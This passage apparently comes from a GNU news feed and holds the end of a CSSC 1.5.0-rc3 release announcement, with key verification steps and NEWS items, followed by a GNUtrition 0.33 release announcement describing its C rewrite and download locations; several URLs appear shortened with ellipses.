        0CF4 E8D8 7159 3224 8428  32B8 88DD 9E08 C5DD ACB9
  uid   James Youngman <james@youngman.org>
  uid   James Youngman <jay@gnu.org>

If that command fails because you don't have the required public key,
or that public key has expired, try the following commands to retrieve
or refresh it, and then rerun the 'gpg --verify' command.

  gpg --locate-external-key james@youngman.org

  gpg --recv-keys 88DD9E08C5DDACB9

  wget -q -O- 'https://savannah. ... SC&download=1' | gpg --import -

As a last resort to find the key, you can try the official GNU
keyring:

  wget -q https://ftp.gnu.o ... u/gnu-keyring.gpg
  gpg --keyring gnu-keyring.gpg --verify CSSC-1.5.0-rc3.tar.gz.sig

This release is based on the CSSC git repository, available as

  git clone https://https.git ... .org/git/CSSC.git

with commit 26add75e45f79cd493409ee2f0c2646849314aad tagged as v1.5.0-rc3.

For a summary of changes and contributors, see:

  https://gitweb.gi ... tlog;h=v1.5.0-rc3

or run this command from a git-cloned CSSC directory:

  git shortlog 43b5b054701732df7ce24eb59821010c39c60cb6..v1.5.0-rc3

This release was bootstrapped with the following tools:
  Autoconf 2.72
  Automake 1.17
  Gnulib 2026-06-08 88592a2880cf39a2f597cd0294a90d8dd7faa2df

NEWS

• Noteworthy changes in release 1.5.0-rc3 (2026-06-14)

        * Some typos in error message have been fixed.

        * admin now supports combination of -r with -n as well as the
          portable combination of -r with -i.

        * Support "sccs sact"; the sact program already existed but
  could not previously be invoked via the sccs wrapper.
  Thanks to Greg A. Woods for this improvement.

        * In some places we now prefer "grep -E" to "egrep" in order
          to avoid a warning message from GNU grep.  Some very old
          versions of Unix may not support this option.

        * Various C++ portability improvements.

• Updated version of gnulib.

• Updated version of googletest; this is now at the last

          version at which it still supported building with Automake.

GNUtrition 0.33 is now released. This marks the first release of GNUtrition since 2012, approximately 14 years ago!

GNUtrition is free nutrition analysis software. The USDA Food and Nutrient Database for Dietary Studies (FNDDS) is used as the source of food nutrient information.

This release is a complete rewrite of GNUtrition in C rather than Python 2 with a new GTK 3 interface replacing the old GTK 2 one. The Nutrient Database of Standard Reference, which stopped getting updated in 2018, was replaced with the USDA Food and Nutrition Database for Dietary Studies. With help from some test volunteers, the build and installation process was better streamlined to resolve critical issues and difficulties so that GNUtrition can be a better program overall.

Considering the time between releases, GNUtrition currently is not available on OS package repositories (as far as I am aware). If you package software for your operating system's package manager, it would be very helpful if you could start packaging GNUtrition so that it may be even more easily used by people on said systems. If you don't, you may still request to those who do to start including GNUtrition.

Thank you to everyone who tested/used GNUtrition 0.33's release candidates and provided meaningful feedback on its functionality, design, and so on. I would also like to especially thank Jason Self for providing us with the C rewrite in the first place.

More information about GNUtrition may be found on its home page at http://gnu.org/so ... tware/gnutrition/. This release can be obtained from the ftp.gnu.org server at one of the following:

ftp://ftp.gnu.o ... gnu/gnutrition/
http://ftp.gnu.or ... g/gnu/gnutrition/
https://ftp.gnu.o ... g/gnu/gnutrition/

The FTP mirror list is available at https://gnu.or ... order/ftp.html, and https://ftpmirror ... u.org/gnutrition/ will automatically redirect you to a nearby mirror.

Please report any problems you experience to the GNUtrition bug reports mailing list: bug-gnutrition@gnu.org (https://lists.gnu ... fo/bug-gnutrition).

Happy hacking and calorie counting!!